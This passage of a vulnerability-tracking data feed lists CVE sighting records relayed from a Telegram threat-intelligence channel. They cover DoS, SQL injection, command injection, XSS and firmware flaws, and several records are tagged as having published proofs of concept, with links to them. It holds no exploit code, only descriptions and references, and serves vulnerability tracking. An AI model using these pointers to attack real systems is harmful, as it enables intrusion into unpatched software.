ID: CVE-2023-31613\n\ud83d\udd39 Description: An issue in the __nss_database_lookup component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T16:47:14.086Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1121", "creation_timestamp": "2025-01-23T17:03:18.000000Z"}, {"uuid": "e0e9d8dd-c1dc-4c0c-a552-21e455eec6e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31607", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2799", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31607\n\ud83d\udd39 Description: An issue in the __libc_malloc component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T18:51:46.134Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1120", "creation_timestamp": "2025-01-23T19:03:29.000000Z"}, {"uuid": "c47dece8-6c37-43a4-8743-c0829a87a102", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31843", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2818", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31843\n\ud83d\udd39 Description: Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/view_faculty.php?id=.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T19:33:16.334Z\n\ud83d\udd17 References:\n1. https://github.com/acmglz/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-1.md", "creation_timestamp": "2025-01-23T20:03:41.000000Z"}, {"uuid": "cdc33a12-2282-45c1-b8c3-31afee63998f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31842", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2815", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31842\n\ud83d\udd39 Description: Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/index.php?page=edit_faculty&id=.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T19:37:14.294Z\n\ud83d\udd17 References:\n1. https://github.com/acmglz/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-2.md", "creation_timestamp": "2025-01-23T20:03:35.000000Z"}, {"uuid": "13fe8b37-6a71-473a-a874-b969f6b7014e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31677", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2764", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31677\n\ud83d\udd39 Description: Insecure permissions in luowice 3.5.18 allow attackers to view information for other alarm devices via modification of the eseeid parameter.\n\ud83d\udccf Published: 2023-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T17:00:18.884Z\n\ud83d\udd17 References:\n1. https://github.com/zzh-newlearner/record/blob/main/luowice.md", "creation_timestamp": "2025-01-23T17:03:01.000000Z"}, {"uuid": "acdc5fa4-1dcd-4e2c-8a00-18b50fff53c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31628", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2804", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31628\n\ud83d\udd39 Description: An issue in the stricmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T19:53:43.118Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1141", "creation_timestamp": "2025-01-23T20:03:20.000000Z"}, {"uuid": "d38e9089-ed67-49d4-b964-0570c9f18de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31627", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2803", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31627\n\ud83d\udd39 Description: An issue in the strhash component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T19:55:46.292Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1140", "creation_timestamp": "2025-01-23T20:03:19.000000Z"}, {"uuid": "6d264ba9-e75c-4225-a0d6-d39d06c4bfd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31845", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2822", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31845\n\ud83d\udd39 Description: Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_class.php?id=.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T20:57:06.139Z\n\ud83d\udd17 References:\n1. https://github.com/acmglz/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-4.md", "creation_timestamp": "2025-01-23T21:03:28.000000Z"}, {"uuid": "cbbcd32f-2a90-4e1c-920f-2785adcf9767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31986", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2807", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31986\n\ud83d\udd39 Description: A Command Injection vulnerability in Edimax Wireless Router N300 Firmware BR-6428NS_v4 allows attacker to execute arbitrary code via the setWAN function in /bin/webs without any limitations.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T19:52:11.627Z\n\ud83d\udd17 References:\n1. https://github.com/Erebua/CVE/blob/main/N300_BR-6428nS%20V4/4/Readme.md", "creation_timestamp": "2025-01-23T20:03:25.000000Z"}, {"uuid": "2812af22-4290-4148-8b9b-32b4bafa3595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31629", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2806", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31629\n\ud83d\udd39 Description: An issue in the sqlo_union_scope component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T19:52:38.895Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1139", "creation_timestamp": "2025-01-23T20:03:25.000000Z"}, {"uuid": "73127727-86b9-403c-9291-62d3e1e2f230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31544", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2795", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31544\n\ud83d\udd39 Description: A stored cross-site scripting (XSS) vulnerability in alkacon-OpenCMS v11.0.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title field under the Upload Image module.\n\ud83d\udccf Published: 2023-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T17:11:36.047Z\n\ud83d\udd17 References:\n1. https://github.com/alkacon/opencms-core/issues/652\n2. https://github.com/alkacon/opencms-core/commit/21bfbeaf6b038e2c03bb421ce7f0933dd7a7633e", "creation_timestamp": "2025-01-23T18:03:34.000000Z"}, {"uuid": "220f5220-790a-41f8-94f8-66a81a270513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31519", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2793", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31519\n\ud83d\udd39 Description: Pharmacy Management System v1.0 was discovered to contain a SQL injection vulnerability via the email parameter at login_core.php.\n\ud83d\udccf Published: 2023-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T17:15:53.065Z\n\ud83d\udd17 References:\n1. https://github.com/yangliukk/Injection-Vulnerability-In-Pharmacy-Management-System-1.0/blob/main/README.md", "creation_timestamp": "2025-01-23T18:03:31.000000Z"}, {"uuid": "28157c07-f072-498f-933e-3639df807124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31608", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2800", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31608\n\ud83d\udd39 Description: An issue in the artm_div_int component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T18:50:08.685Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1123", "creation_timestamp": "2025-01-23T19:03:30.000000Z"}, {"uuid": "3fa9113a-7abf-448b-8098-280a3fe79a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31630", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2809", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31630\n\ud83d\udd39 Description: An issue in the sqlo_query_spec component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T19:50:56.187Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1138", "creation_timestamp": "2025-01-23T20:03:27.000000Z"}, {"uuid": "c03399db-f508-4400-aacf-521984a3093b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31631", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2812", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31631\n\ud83d\udd39 Description: An issue in the sqlo_preds_contradiction component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T19:40:34.081Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1137", "creation_timestamp": "2025-01-23T20:03:33.000000Z"}, {"uuid": "6cb005e0-61db-4c94-93da-2ad79c43b32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31287", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3680", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31287\n\ud83d\udd25 CVSS Score: 7.7 (CVSS_V3)\n\ud83d\udd39 Description: An issue was discovered in Serenity Serene (and StartSharp) before 6.7.0. Password reset links are sent by email. A link contains a token that is used to reset the password. This token remains valid even after the password reset and can be used a second time to change the password of the corresponding user. The token expires only 3 hours after issuance and is sent as a query parameter when resetting. An attacker with access to the browser history can thus use the token again to change the password in order to take over the account.\n\ud83d\udccf Published: 2023-04-27T03:30:23Z\n\ud83d\udccf Modified: 2025-01-31T21:35:22Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2023-31287\n2. https://github.com/serenity-is/Serenity/commit/11b9d267f840513d04b4f4d4876de7823a6e48d2\n3. https://github.com/serenity-is/Serenity\n4. https://packetstorm.news/files/id/172648\n5. http://packetstormsecurity.com/files/172648/Serenity-StartSharp-Software-File-Upload-XSS-User-Enumeration-Reusable-Tokens.html\n6. http://seclists.org/fulldisclosure/2023/May/14", "creation_timestamp": "2025-01-31T22:16:01.000000Z"}, {"uuid": "4f4a52de-5d4c-4959-87b1-84c72a080586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31166", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3014", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31166\n\ud83d\udd39 Description: An Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in the Schweitzer Engineering Laboratories Real-Time Automation Controller (SEL RTAC) Web Interface could allow a remote authenticated attacker to create folders in arbitrary paths of the file system.\n\nSee SEL Service Bulletin dated 2022-11-15 for more details.\n\ud83d\udccf Published: 2023-05-10T19:25:59.606Z\n\ud83d\udccf Modified: 2025-01-24T19:28:19.480Z\n\ud83d\udd17 References:\n1. https://selinc.com/support/security-notifications/external-reports/\n2. https://www.nozominetworks.com/blog/", "creation_timestamp": "2025-01-24T20:04:59.000000Z"}, {"uuid": "662b5c5e-495f-4974-9c1f-00c7cc6b8bf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31197", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2941", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31197\n\ud83d\udd39 Description: Uncontrolled search path in the Intel(R) Trace Analyzer and Collector before version 2020 update 3 may allow an authenticated user to potentially enable escalation of privilege via local access.\n\ud83d\udccf Published: 2023-05-12T14:01:46.385Z\n\ud83d\udccf Modified: 2025-01-24T16:46:07.912Z\n\ud83d\udd17 References:\n1. https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00475.html", "creation_timestamp": "2025-01-24T17:04:55.000000Z"}, {"uuid": "6418f6d7-7743-4d85-b733-03861a6034c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31199", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2945", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31199\n\ud83d\udd39 Description: Improper access control in the Intel(R) Solid State Drive Toolbox(TM) before version 3.4.5 may allow a privileged user to potentially enable escalation of privilege via local access.\n\ud83d\udccf Published: 2023-05-12T14:01:48.147Z\n\ud83d\udccf Modified: 2025-01-24T16:44:36.673Z\n\ud83d\udd17 References:\n1. https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00074.html", "creation_timestamp": "2025-01-24T17:05:01.000000Z"}, {"uuid": "e9f76fbd-2f9b-4d4a-83cd-f4a3c647a526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31352", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3962", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31352\n\ud83d\udd25 CVSS Score: 5.4 (CVSS_V3)\n\ud83d\udd39 Description: A bug in the SEV firmware may allow an attacker with privileges to read unencrypted memory, potentially resulting in loss of guest private data.\n\ud83d\udccf Published: 2025-02-12T00:32:16Z\n\ud83d\udccf Modified: 2025-02-12T00:32:16Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2023-31352\n2. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-3009.html\n3. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-5004.html", "creation_timestamp": "2025-02-12T01:10:02.000000Z"}, {"uuid": "23b203f9-f2e3-45a1-a711-ee7af05b7a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31345", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3956", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31345\n\ud83d\udd25 CVSS Score: 7.9 (CVSS_V3)\n\ud83d\udd39 Description: Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution.\n\ud83d\udccf Published: 2025-02-12T00:32:17Z\n\ud83d\udccf Modified: 2025-02-12T00:32:17Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2023-31345\n2. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-3009.html\n3. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-4008.html\n4. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-5004.html", "creation_timestamp": "2025-02-12T01:09:49.000000Z"}, {"uuid": "dd3fe7dd-d106-40d4-911f-7a0012372e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31286", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3681", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31286\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: An issue was discovered in Serenity Serene (and StartSharp) before 6.7.0. When a password reset request occurs, the server response leaks the existence of users. If one tries to reset a password of a non-existent user, an error message indicates that this user does not exist.\n\ud83d\udccf Published: 2023-04-27T03:30:23Z\n\ud83d\udccf Modified: 2025-01-31T21:35:17Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2023-31286\n2. https://github.com/serenity-is/Serenity/commit/11b9d267f840513d04b4f4d4876de7823a6e48d2\n3. https://github.com/serenity-is/Serenity\n4. https://seclists.org/fulldisclosure/2023/May/14\n5. http://packetstormsecurity.com/files/172648/Serenity-StartSharp-Software-File-Upload-XSS-User-Enumeration-Reusable-Tokens.html\n6. http://seclists.org/fulldisclosure/2023/May/14", "creation_timestamp": "2025-01-31T22:16:01.000000Z"}, {"uuid": "81e09e2b-75a4-4887-b752-62e983a1aa6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31300", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12354", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31300\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to obtain sensitive information via transmission of unencrypted, cleartext credentials during Password Reset feature.\n\ud83d\udccf Published: 2023-12-29T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-17T20:25:03.643Z\n\ud83d\udd17 References:\n1. https://herolab.usd.de/en/security-advisories/usd-2022-0057/", "creation_timestamp": "2025-04-17T20:58:26.000000Z"}, {"uuid": "5a104df0-f536-4e7f-87d7-3459257bf381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31292", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12353", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31292\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Sesami Cash Point & Transport Optimizer (CPTO) 6.3.8.6 (#718), allows local attackers to obtain sensitive information and bypass authentication via \"Back Button Refresh\" attack.\n\ud83d\udccf Published: 2023-12-29T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-17T20:26:21.517Z\n\ud83d\udd17 References:\n1. https://herolab.usd.de/en/security-advisories/usd-2022-0051/", "creation_timestamp": "2025-04-17T20:58:25.000000Z"}, {"uuid": "94ce749a-2020-4eb4-aef1-2401dd90755e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31345", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13172", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31345\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution.\n\ud83d\udccf Published: 2025-02-11T23:49:05.388Z\n\ud83d\udccf Modified: 2025-04-24T03:55:31.019Z\n\ud83d\udd17 References:\n1. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-5004.html\n2. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-4008.html\n3. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-3009.html", "creation_timestamp": "2025-04-24T04:05:45.000000Z"}, {"uuid": "e288ab94-2ce6-48c1-8adf-2130f3eaba56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31342", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13171", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31342\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution.\n\ud83d\udccf Published: 2025-02-11T22:24:02.153Z\n\ud83d\udccf Modified: 2025-04-24T03:55:32.361Z\n\ud83d\udd17 References:\n1. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-5004.html\n2. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-4008.html\n3. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-3009.html", "creation_timestamp": "2025-04-24T04:05:44.000000Z"}, {"uuid": "1fe8cc5f-c9a1-4119-858d-85e8937f8e30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31585", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15626", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31585\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Grocery-CMS-PHP-Restful-API v1.3 is vulnerable to File Upload via /admin/add-category.php.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T20:46:47.696Z\n\ud83d\udd17 References:\n1. https://github.com/ajayrandhawa/Grocery-CMS-PHP-Restful-API/issues/5\n2. https://gist.github.com/f1rstb100d/487f27964a28b100bd57f38e144f2d35", "creation_timestamp": "2025-05-08T21:25:38.000000Z"}, {"uuid": "3a77a7d5-4fdd-4935-ab36-6f6904df418c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31359", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16176", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31359\n\ud83d\udd25 CVSS Score: 7.3 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Incorrect default permissions in the AMD Manageability API could allow an attacker to achieve privilege escalation, potentially resulting in arbitrary code execution.\n\ud83d\udccf Published: 2025-05-13T17:15:44.658Z\n\ud83d\udccf Modified: 2025-05-13T17:15:44.658Z\n\ud83d\udd17 References:\n1. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-9015.html", "creation_timestamp": "2025-05-13T17:31:10.000000Z"}, {"uuid": "fe42c6c0-2b4a-4d9e-a3e2-2d3391b97377", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31358", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16177", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31358\n\ud83d\udd25 CVSS Score: 7.3 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A DLL hijacking vulnerability in the AMD Manageability API could allow an attacker to achieve privilege escalation, potentially resulting in arbitrary code execution.\n\ud83d\udccf Published: 2025-05-13T17:14:16.675Z\n\ud83d\udccf Modified: 2025-05-13T17:14:16.675Z\n\ud83d\udd17 References:\n1. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-9015.html", "creation_timestamp": "2025-05-13T17:31:11.000000Z"}, {"uuid": "e8a11167-4f40-48ee-98f8-206d07ea46bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31037", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17793", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31037\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: \nNVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS.\n\n\n\ud83d\udccf Published: 2024-01-24T02:12:30.123Z\n\ud83d\udccf Modified: 2025-06-09T20:48:11.032Z\n\ud83d\udd17 References:\n1. https://nvidia.custhelp.com/app/answers/detail/a_id/5511", "creation_timestamp": "2025-06-09T21:32:13.000000Z"}, {"uuid": "5c6603a5-4931-4d81-a621-8a21252b5f32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18978", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31446\n\ud83d\udd25 